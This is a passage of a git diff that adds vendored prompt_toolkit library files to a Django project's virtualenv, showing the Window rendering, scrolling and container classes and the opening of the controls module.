self._get_ui_content(width=0, height=0) + + def get_width() -> int: + return margin.get_width(get_ui_content) + + key = (margin, get_app().render_counter) + return self._margin_width_cache.get(key, get_width) + + def _get_total_margin_width(self) -> int: + """ + Calculate and return the width of the margin (left + right). + """ + return sum(self._get_margin_width(m) for m in self.left_margins) + sum( + self._get_margin_width(m) for m in self.right_margins + ) + + def preferred_width(self, max_available_width: int) -> Dimension: + """ + Calculate the preferred width for this window. + """ + + def preferred_content_width() -> Optional[int]: + """Content width: is only calculated if no exact width for the + window was given.""" + if self.ignore_content_width(): + return None + + # Calculate the width of the margin. + total_margin_width = self._get_total_margin_width() + + # Window of the content. (Can be `None`.) + preferred_width = self.content.preferred_width( + max_available_width - total_margin_width + ) + + if preferred_width is not None: + # Include width of the margins. + preferred_width += total_margin_width + return preferred_width + + # Merge. + return self._merge_dimensions( + dimension=to_dimension(self.width), + get_preferred=preferred_content_width, + dont_extend=self.dont_extend_width(), + ) + + def preferred_height(self, width: int, max_available_height: int) -> Dimension: + """ + Calculate the preferred height for this window. + """ + + def preferred_content_height() -> Optional[int]: + """Content height: is only calculated if no exact height for the + window was given.""" + if self.ignore_content_height(): + return None + + total_margin_width = self._get_total_margin_width() + wrap_lines = self.wrap_lines() + + return self.content.preferred_height( + width - total_margin_width, + max_available_height, + wrap_lines, + self.get_line_prefix, + ) + + return self._merge_dimensions( + dimension=to_dimension(self.height), + get_preferred=preferred_content_height, + dont_extend=self.dont_extend_height(), + ) + + @staticmethod + def _merge_dimensions( + dimension: Optional[Dimension], + get_preferred: Callable[[], Optional[int]], + dont_extend: bool = False, + ) -> Dimension: + """ + Take the Dimension from this `Window` class and the received preferred + size from the `UIControl` and return a `Dimension` to report to the + parent container. + """ + dimension = dimension or Dimension() + + # When a preferred dimension was explicitly given to the Window, + # ignore the UIControl. + preferred: Optional[int] + + if dimension.preferred_specified: + preferred = dimension.preferred + else: + # Otherwise, calculate the preferred dimension from the UI control + # content. + preferred = get_preferred() + + # When a 'preferred' dimension is given by the UIControl, make sure + # that it stays within the bounds of the Window. + if preferred is not None: + if dimension.max_specified: + preferred = min(preferred, dimension.max) + + if dimension.min_specified: + preferred = max(preferred, dimension.min) + + # When a `dont_extend` flag has been given, use the preferred dimension + # also as the max dimension. + max_: Optional[int] + min_: Optional[int] + + if dont_extend and preferred is not None: + max_ = min(dimension.max, preferred) + else: + max_ = dimension.max if dimension.max_specified else None + + min_ = dimension.min if dimension.min_specified else None + + return Dimension( + min=min_, max=max_, preferred=preferred, weight=dimension.weight + ) + + def _get_ui_content(self, width: int, height: int) -> UIContent: + """ + Create a `UIContent` instance. + """ + + def get_content() -> UIContent: + return self.content.create_content(width=width, height=height) + + key = (get_app().render_counter, width, height) + return self._ui_content_cache.get(key, get_content) + + def _get_digraph_char(self) -> Optional[str]: + "Return `False`, or the Digraph symbol to be used." + app = get_app() + if app.quoted_insert: + return "^" + if app.vi_state.waiting_for_digraph: + if app.vi_state.digraph_symbol1: + return app.vi_state.digraph_symbol1 + return "?" + return None + + def write_to_screen( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + """ + Write window to screen. This renders the user control, the margins and + copies everything over to the absolute position at the given screen. + """ + # If dont_extend_width/height was given. Then reduce width/height in + # WritePosition if the parent wanted us to paint in a bigger area. + # (This happens if this window is bundled with another window in a + # HSplit/VSplit, but with different size requirements.) + write_position = WritePosition( + xpos=write_position.xpos, + ypos=write_position.ypos, + width=write_position.width, + height=write_position.height, + ) + + if self.dont_extend_width(): + write_position.width = min( + write_position.width, + self.preferred_width(write_position.width).preferred, + ) + + if self.dont_extend_height(): + write_position.height = min( + write_position.height, + self.preferred_height( + write_position.width, write_position.height + ).preferred, + ) + + # Draw + z_index = z_index if self.z_index is None else self.z_index + + draw_func = partial( + self._write_to_screen_at_index, + screen, + mouse_handlers, + write_position, + parent_style, + erase_bg, + ) + + if z_index is None or z_index <= 0: + # When no z_index is given, draw right away. + draw_func() + else: + # Otherwise, postpone. + screen.draw_with_z_index(z_index=z_index, draw_func=draw_func) + + def _write_to_screen_at_index( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + ) -> None: + # Don't bother writing invisible windows. + # (We save some time, but also avoid applying last-line styling.) + if write_position.height <= 0 or write_position.width <= 0: + return + + # Calculate margin sizes. + left_margin_widths = [self._get_margin_width(m) for m in self.left_margins] + right_margin_widths = [self._get_margin_width(m) for m in self.right_margins] + total_margin_width = sum(left_margin_widths + right_margin_widths) + + # Render UserControl. + ui_content = self.content.create_content( + write_position.width - total_margin_width, write_position.height + ) + assert isinstance(ui_content, UIContent) + + # Scroll content. + wrap_lines = self.wrap_lines() + self._scroll( + ui_content, write_position.width - total_margin_width, write_position.height + ) + + # Erase background and fill with `char`. + self._fill_bg(screen, write_position, erase_bg) + + # Resolve `align` attribute. + align = self.align() if callable(self.align) else self.align + + # Write body + visible_line_to_row_col, rowcol_to_yx = self._copy_body( + ui_content, + screen, + write_position, + sum(left_margin_widths), + write_position.width - total_margin_width, + self.vertical_scroll, + self.horizontal_scroll, + wrap_lines=wrap_lines, + highlight_lines=True, + vertical_scroll_2=self.vertical_scroll_2, + always_hide_cursor=self.always_hide_cursor(), + has_focus=get_app().layout.current_control == self.content, + align=align, + get_line_prefix=self.get_line_prefix, + ) + + # Remember render info. (Set before generating the margins. They need this.) + x_offset = write_position.xpos + sum(left_margin_widths) + y_offset = write_position.ypos + + render_info = WindowRenderInfo( + window=self, + ui_content=ui_content, + horizontal_scroll=self.horizontal_scroll, + vertical_scroll=self.vertical_scroll, + window_width=write_position.width - total_margin_width, + window_height=write_position.height, + configured_scroll_offsets=self.scroll_offsets, + visible_line_to_row_col=visible_line_to_row_col, + rowcol_to_yx=rowcol_to_yx, + x_offset=x_offset, + y_offset=y_offset, + wrap_lines=wrap_lines, + ) + self.render_info = render_info + + # Set mouse handlers. + def mouse_handler(mouse_event: MouseEvent) -> "NotImplementedOrNone": + """ + Wrapper around the mouse_handler of the `UIControl` that turns + screen coordinates into line coordinates. + Returns `NotImplemented` if no UI invalidation should be done. + """ + # Don't handle mouse events outside of the current modal part of + # the UI. + if self not in get_app().layout.walk_through_modal_area(): + return NotImplemented + + # Find row/col position first. + yx_to_rowcol = {v: k for k, v in rowcol_to_yx.items()} + y = mouse_event.position.y + x = mouse_event.position.x + + # If clicked below the content area, look for a position in the + # last line instead. + max_y = write_position.ypos + len(visible_line_to_row_col) - 1 + y = min(max_y, y) + result: NotImplementedOrNone + + while x >= 0: + try: + row, col = yx_to_rowcol[y, x] + except KeyError: + # Try again. (When clicking on the right side of double + # width characters, or on the right side of the input.) + x -= 1 + else: + # Found position, call handler of UIControl. + result = self.content.mouse_handler( + MouseEvent( + position=Point(x=col, y=row), + event_type=mouse_event.event_type, + button=mouse_event.button, + modifiers=mouse_event.modifiers, + ) + ) + break + else: + # nobreak. + # (No x/y coordinate found for the content. This happens in + # case of a DummyControl, that does not have any content. + # Report (0,0) instead.) + result = self.content.mouse_handler( + MouseEvent( + position=Point(x=0, y=0), + event_type=mouse_event.event_type, + button=mouse_event.button, + modifiers=mouse_event.modifiers, + ) + ) + + # If it returns NotImplemented, handle it here. + if result == NotImplemented: + result = self._mouse_handler(mouse_event) + + return result + + mouse_handlers.set_mouse_handler_for_range( + x_min=write_position.xpos + sum(left_margin_widths), + x_max=write_position.xpos + write_position.width - total_margin_width, + y_min=write_position.ypos, + y_max=write_position.ypos + write_position.height, + handler=mouse_handler, + ) + + # Render and copy margins. + move_x = 0 + + def render_margin(m: Margin, width: int) -> UIContent: + "Render margin. Return `Screen`." + # Retrieve margin fragments. + fragments = m.create_margin(render_info, width, write_position.height) + + # Turn it into a UIContent object. + # already rendered those fragments using this size.) + return FormattedTextControl(fragments).create_content( + width + 1, write_position.height + ) + + for m, width in zip(self.left_margins, left_margin_widths): + if width > 0: # (ConditionalMargin returns a zero width. -- Don't render.) + # Create screen for margin. + margin_content = render_margin(m, width) + + # Copy and shift X. + self._copy_margin(margin_content, screen, write_position, move_x, width) + move_x += width + + move_x = write_position.width - sum(right_margin_widths) + + for m, width in zip(self.right_margins, right_margin_widths): + # Create screen for margin. + margin_content = render_margin(m, width) + + # Copy and shift X. + self._copy_margin(margin_content, screen, write_position, move_x, width) + move_x += width + + # Apply 'self.style' + self._apply_style(screen, write_position, parent_style) + + # Tell the screen that this user control has been painted at this + # position. + screen.visible_windows_to_write_positions[self] = write_position + + def _copy_body( + self, + ui_content: UIContent, + new_screen: Screen, + write_position: WritePosition, + move_x: int, + width: int, + vertical_scroll: int = 0, + horizontal_scroll: int = 0, + wrap_lines: bool = False, + highlight_lines: bool = False, + vertical_scroll_2: int = 0, + always_hide_cursor: bool = False, + has_focus: bool = False, + align: WindowAlign = WindowAlign.LEFT, + get_line_prefix: Optional[Callable[[int, int], AnyFormattedText]] = None, + ) -> Tuple[Dict[int, Tuple[int, int]], Dict[Tuple[int, int], Tuple[int, int]]]: + """ + Copy the UIContent into the output screen. + Return (visible_line_to_row_col, rowcol_to_yx) tuple. + + :param get_line_prefix: None or a callable that takes a line number + (int) and a wrap_count (int) and returns formatted text. + """ + xpos = write_position.xpos + move_x + ypos = write_position.ypos + line_count = ui_content.line_count + new_buffer = new_screen.data_buffer + empty_char = _CHAR_CACHE["", ""] + + # Map visible line number to (row, col) of input. + # 'col' will always be zero if line wrapping is off. + visible_line_to_row_col: Dict[int, Tuple[int, int]] = {} + + # Maps (row, col) from the input to (y, x) screen coordinates. + rowcol_to_yx: Dict[Tuple[int, int], Tuple[int, int]] = {} + + def copy_line( + line: StyleAndTextTuples, + lineno: int, + x: int, + y: int, + is_input: bool = False, + ) -> Tuple[int, int]: + """ + Copy over a single line to the output screen. This can wrap over + multiple lines in the output. It will call the prefix (prompt) + function before every line. + """ + if is_input: + current_rowcol_to_yx = rowcol_to_yx + else: + current_rowcol_to_yx = {} # Throwaway dictionary. + + # Draw line prefix. + if is_input and get_line_prefix: + prompt = to_formatted_text(get_line_prefix(lineno, 0)) + x, y = copy_line(prompt, lineno, x, y, is_input=False) + + # Scroll horizontally. + skipped = 0 # Characters skipped because of horizontal scrolling. + if horizontal_scroll and is_input: + h_scroll = horizontal_scroll + line = explode_text_fragments(line) + while h_scroll > 0 and line: + h_scroll -= get_cwidth(line[0][1]) + skipped += 1 + del line[:1] # Remove first character. + + x -= h_scroll # When scrolling over double width character, + # this can end up being negative. + + # Align this line. (Note that this doesn't work well when we use + # get_line_prefix and that function returns variable width prefixes.) + if align == WindowAlign.CENTER: + line_width = fragment_list_width(line) + if line_width < width: + x += (width - line_width) // 2 + elif align == WindowAlign.RIGHT: + line_width = fragment_list_width(line) + if line_width < width: + x += width - line_width + + col = 0 + wrap_count = 0 + for style, text, *_ in line: + new_buffer_row = new_buffer[y + ypos] + + # Remember raw VT escape sequences. (E.g. FinalTerm's + # escape sequences.) + if "[ZeroWidthEscape]" in style: + new_screen.zero_width_escapes[y + ypos][x + xpos] += text + continue + + for c in text: + char = _CHAR_CACHE[c, style] + char_width = char.width + + # Wrap when the line width is exceeded. + if wrap_lines and x + char_width > width: + visible_line_to_row_col[y + 1] = ( + lineno, + visible_line_to_row_col[y][1] + x, + ) + y += 1 + wrap_count += 1 + x = 0 + + # Insert line prefix (continuation prompt). + if is_input and get_line_prefix: + prompt = to_formatted_text( + get_line_prefix(lineno, wrap_count) + ) + x, y = copy_line(prompt, lineno, x, y, is_input=False) + + new_buffer_row = new_buffer[y + ypos] + + if y >= write_position.height: + return x, y # Break out of all for loops. + + # Set character in screen and shift 'x'. + if x >= 0 and y >= 0 and x < width: + new_buffer_row[x + xpos] = char + + # When we print a multi width character, make sure + # to erase the neighbours positions in the screen. + # (The empty string if different from everything, + # so next redraw this cell will repaint anyway.) + if char_width > 1: + for i in range(1, char_width): + new_buffer_row[x + xpos + i] = empty_char + + # If this is a zero width characters, then it's + # probably part of a decomposed unicode character. + # See: https://en.wikipedia.org/wiki/Unicode_equivalence + # Merge it in the previous cell. + elif char_width == 0: + # Handle all character widths. If the previous + # character is a multiwidth character, then + # merge it two positions back. + for pw in [2, 1]: # Previous character width. + if ( + x - pw >= 0 + and new_buffer_row[x + xpos - pw].width == pw + ): + prev_char = new_buffer_row[x + xpos - pw] + char2 = _CHAR_CACHE[ + prev_char.char + c, prev_char.style + ] + new_buffer_row[x + xpos - pw] = char2 + + # Keep track of write position for each character. + current_rowcol_to_yx[lineno, col + skipped] = ( + y + ypos, + x + xpos, + ) + + col += 1 + x += char_width + return x, y + + # Copy content. + def copy() -> int: + y = -vertical_scroll_2 + lineno = vertical_scroll + + while y < write_position.height and lineno < line_count: + # Take the next line and copy it in the real screen. + line = ui_content.get_line(lineno) + + visible_line_to_row_col[y] = (lineno, horizontal_scroll) + + # Copy margin and actual line. + x = 0 + x, y = copy_line(line, lineno, x, y, is_input=True) + + lineno += 1 + y += 1 + return y + + copy() + + def cursor_pos_to_screen_pos(row: int, col: int) -> Point: + "Translate row/col from UIContent to real Screen coordinates." + try: + y, x = rowcol_to_yx[row, col] + except KeyError: + # Normally this should never happen. (It is a bug, if it happens.) + # But to be sure, return (0, 0) + return Point(x=0, y=0) + + # raise ValueError( + # 'Invalid position. row=%r col=%r, vertical_scroll=%r, ' + # 'horizontal_scroll=%r, height=%r' % + # (row, col, vertical_scroll, horizontal_scroll, write_position.height)) + else: + return Point(x=x, y=y) + + # Set cursor and menu positions. + if ui_content.cursor_position: + screen_cursor_position = cursor_pos_to_screen_pos( + ui_content.cursor_position.y, ui_content.cursor_position.x + ) + + if has_focus: + new_screen.set_cursor_position(self, screen_cursor_position) + + if always_hide_cursor: + new_screen.show_cursor = False + else: + new_screen.show_cursor = ui_content.show_cursor + + self._highlight_digraph(new_screen) + + if highlight_lines: + self._highlight_cursorlines( + new_screen, + screen_cursor_position, + xpos, + ypos, + width, + write_position.height, + ) + + # Draw input characters from the input processor queue. + if has_focus and ui_content.cursor_position: + self._show_key_processor_key_buffer(new_screen) + + # Set menu position. + if ui_content.menu_position: + new_screen.set_menu_position( + self, + cursor_pos_to_screen_pos( + ui_content.menu_position.y, ui_content.menu_position.x + ), + ) + + # Update output screen height. + new_screen.height = max(new_screen.height, ypos + write_position.height) + + return visible_line_to_row_col, rowcol_to_yx + + def _fill_bg( + self, screen: Screen, write_position: WritePosition, erase_bg: bool + ) -> None: + """ + Erase/fill the background. + (Useful for floats and when a `char` has been given.) + """ + char: Optional[str] + if callable(self.char): + char = self.char() + else: + char = self.char + + if erase_bg or char: + wp = write_position + char_obj = _CHAR_CACHE[char or " ", ""] + + for y in range(wp.ypos, wp.ypos + wp.height): + row = screen.data_buffer[y] + for x in range(wp.xpos, wp.xpos + wp.width): + row[x] = char_obj + + def _apply_style( + self, new_screen: Screen, write_position: WritePosition, parent_style: str + ) -> None: + + # Apply `self.style`. + style = parent_style + " " + to_str(self.style) + + new_screen.fill_area(write_position, style=style, after=False) + + # Apply the 'last-line' class to the last line of each Window. This can + # be used to apply an 'underline' to the user control. + wp = WritePosition( + write_position.xpos, + write_position.ypos + write_position.height - 1, + write_position.width, + 1, + ) + new_screen.fill_area(wp, "class:last-line", after=True) + + def _highlight_digraph(self, new_screen: Screen) -> None: + """ + When we are in Vi digraph mode, put a question mark underneath the + cursor. + """ + digraph_char = self._get_digraph_char() + if digraph_char: + cpos = new_screen.get_cursor_position(self) + new_screen.data_buffer[cpos.y][cpos.x] = _CHAR_CACHE[ + digraph_char, "class:digraph" + ] + + def _show_key_processor_key_buffer(self, new_screen: Screen) -> None: + """ + When the user is typing a key binding that consists of several keys, + display the last pressed key if the user is in insert mode and the key + is meaningful to be displayed. + E.g. Some people want to bind 'jj' to escape in Vi insert mode. But the + first 'j' needs to be displayed in order to get some feedback. + """ + app = get_app() + key_buffer = app.key_processor.key_buffer + + if key_buffer and _in_insert_mode() and not app.is_done: + # The textual data for the given key. (Can be a VT100 escape + # sequence.) + data = key_buffer[-1].data + + # Display only if this is a 1 cell width character. + if get_cwidth(data) == 1: + cpos = new_screen.get_cursor_position(self) + new_screen.data_buffer[cpos.y][cpos.x] = _CHAR_CACHE[ + data, "class:partial-key-binding" + ] + + def _highlight_cursorlines( + self, new_screen: Screen, cpos: Point, x: int, y: int, width: int, height: int + ) -> None: + """ + Highlight cursor row/column. + """ + cursor_line_style = " class:cursor-line " + cursor_column_style = " class:cursor-column " + + data_buffer = new_screen.data_buffer + + # Highlight cursor line. + if self.cursorline(): + row = data_buffer[cpos.y] + for x in range(x, x + width): + original_char = row[x] + row[x] = _CHAR_CACHE[ + original_char.char, original_char.style + cursor_line_style + ] + + # Highlight cursor column. + if self.cursorcolumn(): + for y2 in range(y, y + height): + row = data_buffer[y2] + original_char = row[cpos.x] + row[cpos.x] = _CHAR_CACHE[ + original_char.char, original_char.style + cursor_column_style + ] + + # Highlight color columns + colorcolumns = self.colorcolumns + if callable(colorcolumns): + colorcolumns = colorcolumns() + + for cc in colorcolumns: + assert isinstance(cc, ColorColumn) + column = cc.position + + if column < x + width: # Only draw when visible. + color_column_style = " " + cc.style + + for y2 in range(y, y + height): + row = data_buffer[y2] + original_char = row[column + x] + row[column + x] = _CHAR_CACHE[ + original_char.char, original_char.style + color_column_style + ] + + def _copy_margin( + self, + margin_content: UIContent, + new_screen: Screen, + write_position: WritePosition, + move_x: int, + width: int, + ) -> None: + """ + Copy characters from the margin screen to the real screen. + """ + xpos = write_position.xpos + move_x + ypos = write_position.ypos + + margin_write_position = WritePosition(xpos, ypos, width, write_position.height) + self._copy_body(margin_content, new_screen, margin_write_position, 0, width) + + def _scroll(self, ui_content: UIContent, width: int, height: int) -> None: + """ + Scroll body. Ensure that the cursor is visible. + """ + if self.wrap_lines(): + func = self._scroll_when_linewrapping + else: + func = self._scroll_without_linewrapping + + func(ui_content, width, height) + + def _scroll_when_linewrapping( + self, ui_content: UIContent, width: int, height: int + ) -> None: + """ + Scroll to make sure the cursor position is visible and that we maintain + the requested scroll offset. + + Set `self.horizontal_scroll/vertical_scroll`. + """ + scroll_offsets_bottom = self.scroll_offsets.bottom + scroll_offsets_top = self.scroll_offsets.top + + # We don't have horizontal scrolling. + self.horizontal_scroll = 0 + + def get_line_height(lineno: int) -> int: + return ui_content.get_height_for_line(lineno, width, self.get_line_prefix) + + # When there is no space, reset `vertical_scroll_2` to zero and abort. + # This can happen if the margin is bigger than the window width. + # Otherwise the text height will become "infinite" (a big number) and + # the copy_line will spend a huge amount of iterations trying to render + # nothing. + if width <= 0: + self.vertical_scroll = ui_content.cursor_position.y + self.vertical_scroll_2 = 0 + return + + # If the current line consumes more than the whole window height, + # then we have to scroll vertically inside this line. (We don't take + # the scroll offsets into account for this.) + # Also, ignore the scroll offsets in this case. Just set the vertical + # scroll to this line. + line_height = get_line_height(ui_content.cursor_position.y) + if line_height > height - scroll_offsets_top: + # Calculate the height of the text before the cursor (including + # line prefixes). + text_before_height = ui_content.get_height_for_line( + ui_content.cursor_position.y, + width, + self.get_line_prefix, + slice_stop=ui_content.cursor_position.x, + ) + + # Adjust scroll offset. + self.vertical_scroll = ui_content.cursor_position.y + self.vertical_scroll_2 = min( + text_before_height - 1, # Keep the cursor visible. + line_height + - height, # Avoid blank lines at the bottom when scolling up again. + self.vertical_scroll_2, + ) + self.vertical_scroll_2 = max( + 0, text_before_height - height, self.vertical_scroll_2 + ) + return + else: + self.vertical_scroll_2 = 0 + + # Current line doesn't consume the whole height. Take scroll offsets into account. + def get_min_vertical_scroll() -> int: + # Make sure that the cursor line is not below the bottom. + # (Calculate how many lines can be shown between the cursor and the .) + used_height = 0 + prev_lineno = ui_content.cursor_position.y + + for lineno in range(ui_content.cursor_position.y, -1, -1): + used_height += get_line_height(lineno) + + if used_height > height - scroll_offsets_bottom: + return prev_lineno + else: + prev_lineno = lineno + return 0 + + def get_max_vertical_scroll() -> int: + # Make sure that the cursor line is not above the top. + prev_lineno = ui_content.cursor_position.y + used_height = 0 + + for lineno in range(ui_content.cursor_position.y - 1, -1, -1): + used_height += get_line_height(lineno) + + if used_height > scroll_offsets_top: + return prev_lineno + else: + prev_lineno = lineno + return prev_lineno + + def get_topmost_visible() -> int: + """ + Calculate the upper most line that can be visible, while the bottom + is still visible. We should not allow scroll more than this if + `allow_scroll_beyond_bottom` is false. + """ + prev_lineno = ui_content.line_count - 1 + used_height = 0 + for lineno in range(ui_content.line_count - 1, -1, -1): + used_height += get_line_height(lineno) + if used_height > height: + return prev_lineno + else: + prev_lineno = lineno + return prev_lineno + + # Scroll vertically. (Make sure that the whole line which contains the + # cursor is visible. + topmost_visible = get_topmost_visible() + + # Note: the `min(topmost_visible, ...)` is to make sure that we + # don't require scrolling up because of the bottom scroll offset, + # when we are at the end of the document. + self.vertical_scroll = max( + self.vertical_scroll, min(topmost_visible, get_min_vertical_scroll()) + ) + self.vertical_scroll = min(self.vertical_scroll, get_max_vertical_scroll()) + + # Disallow scrolling beyond bottom? + if not self.allow_scroll_beyond_bottom(): + self.vertical_scroll = min(self.vertical_scroll, topmost_visible) + + def _scroll_without_linewrapping( + self, ui_content: UIContent, width: int, height: int + ) -> None: + """ + Scroll to make sure the cursor position is visible and that we maintain + the requested scroll offset. + + Set `self.horizontal_scroll/vertical_scroll`. + """ + cursor_position = ui_content.cursor_position or Point(x=0, y=0) + + # Without line wrapping, we will never have to scroll vertically inside + # a single line. + self.vertical_scroll_2 = 0 + + if ui_content.line_count == 0: + self.vertical_scroll = 0 + self.horizontal_scroll = 0 + return + else: + current_line_text = fragment_list_to_text( + ui_content.get_line(cursor_position.y) + ) + + def do_scroll( + current_scroll: int, + scroll_offset_start: int, + scroll_offset_end: int, + cursor_pos: int, + window_size: int, + content_size: int, + ) -> int: + "Scrolling algorithm. Used for both horizontal and vertical scrolling." + # Calculate the scroll offset to apply. + # This can obviously never be more than have the screen size. Also, when the + # cursor appears at the top or bottom, we don't apply the offset. + scroll_offset_start = int( + min(scroll_offset_start, window_size / 2, cursor_pos) + ) + scroll_offset_end = int( + min(scroll_offset_end, window_size / 2, content_size - 1 - cursor_pos) + ) + + # Prevent negative scroll offsets. + if current_scroll < 0: + current_scroll = 0 + + # Scroll back if we scrolled to much and there's still space to show more of the document. + if ( + not self.allow_scroll_beyond_bottom() + and current_scroll > content_size - window_size + ): + current_scroll = max(0, content_size - window_size) + + # Scroll up if cursor is before visible part. + if current_scroll > cursor_pos - scroll_offset_start: + current_scroll = max(0, cursor_pos - scroll_offset_start) + + # Scroll down if cursor is after visible part. + if current_scroll < (cursor_pos + 1) - window_size + scroll_offset_end: + current_scroll = (cursor_pos + 1) - window_size + scroll_offset_end + + return current_scroll + + # When a preferred scroll is given, take that first into account. + if self.get_vertical_scroll: + self.vertical_scroll = self.get_vertical_scroll(self) + assert isinstance(self.vertical_scroll, int) + if self.get_horizontal_scroll: + self.horizontal_scroll = self.get_horizontal_scroll(self) + assert isinstance(self.horizontal_scroll, int) + + # Update horizontal/vertical scroll to make sure that the cursor + # remains visible. + offsets = self.scroll_offsets + + self.vertical_scroll = do_scroll( + current_scroll=self.vertical_scroll, + scroll_offset_start=offsets.top, + scroll_offset_end=offsets.bottom, + cursor_pos=ui_content.cursor_position.y, + window_size=height, + content_size=ui_content.line_count, + ) + + if self.get_line_prefix: + current_line_prefix_width = fragment_list_width( + to_formatted_text(self.get_line_prefix(ui_content.cursor_position.y, 0)) + ) + else: + current_line_prefix_width = 0 + + self.horizontal_scroll = do_scroll( + current_scroll=self.horizontal_scroll, + scroll_offset_start=offsets.left, + scroll_offset_end=offsets.right, + cursor_pos=get_cwidth(current_line_text[: ui_content.cursor_position.x]), + window_size=width - current_line_prefix_width, + # We can only analyse the current line. Calculating the width off + # all the lines is too expensive. + content_size=max( + get_cwidth(current_line_text), self.horizontal_scroll + width + ), + ) + + def _mouse_handler(self, mouse_event: MouseEvent) -> "NotImplementedOrNone": + """ + Mouse handler. Called when the UI control doesn't handle this + particular event. + + Return `NotImplemented` if nothing was done as a consequence of this + key binding (no UI invalidate required in that case). + """ + if mouse_event.event_type == MouseEventType.SCROLL_DOWN: + self._scroll_down() + return None + elif mouse_event.event_type == MouseEventType.SCROLL_UP: + self._scroll_up() + return None + + return NotImplemented + + def _scroll_down(self) -> None: + "Scroll window down." + info = self.render_info + + if info is None: + return + + if self.vertical_scroll < info.content_height - info.window_height: + if info.cursor_position.y <= info.configured_scroll_offsets.top: + self.content.move_cursor_down() + + self.vertical_scroll += 1 + + def _scroll_up(self) -> None: + "Scroll window up." + info = self.render_info + + if info is None: + return + + if info.vertical_scroll > 0: + # TODO: not entirely correct yet in case of line wrapping and long lines. + if ( + info.cursor_position.y + >= info.window_height - 1 - info.configured_scroll_offsets.bottom + ): + self.content.move_cursor_up() + + self.vertical_scroll -= 1 + + def get_key_bindings(self) -> Optional[KeyBindingsBase]: + return self.content.get_key_bindings() + + def get_children(self) -> List[Container]: + return [] + + +class ConditionalContainer(Container): + """ + Wrapper around any other container that can change the visibility. The + received `filter` determines whether the given container should be + displayed or not. + + :param content: :class:`.Container` instance. + :param filter: :class:`.Filter` instance. + """ + + def __init__(self, content: AnyContainer, filter: FilterOrBool) -> None: + self.content = to_container(content) + self.filter = to_filter(filter) + + def __repr__(self) -> str: + return f"ConditionalContainer({self.content!r}, filter={self.filter!r})" + + def reset(self) -> None: + self.content.reset() + + def preferred_width(self, max_available_width: int) -> Dimension: + if self.filter(): + return self.content.preferred_width(max_available_width) + else: + return Dimension.zero() + + def preferred_height(self, width: int, max_available_height: int) -> Dimension: + if self.filter(): + return self.content.preferred_height(width, max_available_height) + else: + return Dimension.zero() + + def write_to_screen( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + if self.filter(): + return self.content.write_to_screen( + screen, mouse_handlers, write_position, parent_style, erase_bg, z_index + ) + + def get_children(self) -> List[Container]: + return [self.content] + + +class DynamicContainer(Container): + """ + Container class that dynamically returns any Container. + + :param get_container: Callable that returns a :class:`.Container` instance + or any widget with a ``__pt_container__`` method. + """ + + def __init__(self, get_container: Callable[[], AnyContainer]) -> None: + self.get_container = get_container + + def _get_container(self) -> Container: + """ + Return the current container object. + + We call `to_container`, because `get_container` can also return a + widget with a ``__pt_container__`` method. + """ + obj = self.get_container() + return to_container(obj) + + def reset(self) -> None: + self._get_container().reset() + + def preferred_width(self, max_available_width: int) -> Dimension: + return self._get_container().preferred_width(max_available_width) + + def preferred_height(self, width: int, max_available_height: int) -> Dimension: + return self._get_container().preferred_height(width, max_available_height) + + def write_to_screen( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + self._get_container().write_to_screen( + screen, mouse_handlers, write_position, parent_style, erase_bg, z_index + ) + + def is_modal(self) -> bool: + return False + + def get_key_bindings(self) -> Optional[KeyBindingsBase]: + # Key bindings will be collected when `layout.walk()` finds the child + # container. + return None + + def get_children(self) -> List[Container]: + # Here we have to return the current active container itself, not its + # children. Otherwise, we run into issues where `layout.walk()` will + # never see an object of type `Window` if this contains a window. We + # can't/shouldn't proxy the "isinstance" check. + return [self._get_container()] + + +def to_container(container: AnyContainer) -> Container: + """ + Make sure that the given object is a :class:`.Container`. + """ + if isinstance(container, Container): + return container + elif hasattr(container, "__pt_container__"): + return to_container(container.__pt_container__()) + else: + raise ValueError(f"Not a container object: {container!r}") + + +def to_window(container: AnyContainer) -> Window: + """ + Make sure that the given argument is a :class:`.Window`. + """ + if isinstance(container, Window): + return container + elif hasattr(container, "__pt_container__"): + return to_window(cast("MagicContainer", container).__pt_container__()) + else: + raise ValueError(f"Not a Window object: {container!r}.") + + +def is_container(value: object) -> "TypeGuard[AnyContainer]": + """ + Checks whether the given value is a container object + (for use in assert statements). + """ + if isinstance(value, Container): + return True + if hasattr(value, "__pt_container__"): + return is_container(cast("MagicContainer", value).__pt_container__()) + return False diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/controls.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/controls.py new file mode 100644 index 00000000..016d2894 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/controls.py @@ -0,0 +1,957 @@ +""" +User interface Controls for the layout. +""" +import time +from abc import ABCMeta, abstractmethod +from typing import ( + TYPE_CHECKING, + Callable, + Dict, + Hashable, + Iterable, + List, + NamedTuple, + Optional, + Union, +) + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.buffer import Buffer +from prompt_toolkit.cache import SimpleCache +from prompt_toolkit.data_structures import Point +from prompt_toolkit.document import Document +from prompt_toolkit.filters import FilterOrBool, to_filter +from prompt_toolkit.formatted_text import ( + AnyFormattedText, + StyleAndTextTuples, + to_formatted_text, +) +from prompt_toolkit.formatted_text.utils import ( + fragment_list_to_text, + fragment_list_width, + split_lines, +) +from prompt_toolkit.lexers import Lexer, SimpleLexer +from prompt_toolkit.mouse_events import MouseButton, MouseEvent, MouseEventType +from prompt_toolkit.search import SearchState +from prompt_toolkit.selection import SelectionType +from prompt_toolkit.utils import get_cwidth + +from .processors import ( + DisplayMultipleCursors, + HighlightIncrementalSearchProcessor, + HighlightSearchProcessor, + HighlightSelectionProcessor, + Processor, + TransformationInput, + merge_processors, +) + +if TYPE_CHECKING: + from prompt_toolkit.key_binding.key_bindings import ( + KeyBindingsBase, + NotImplementedOrNone, + ) + from prompt_toolkit.utils import Event + + +__all__ = [ + "BufferControl", + "SearchBufferControl", + "DummyControl", + "FormattedTextControl", + "UIControl", + "UIContent", +] + 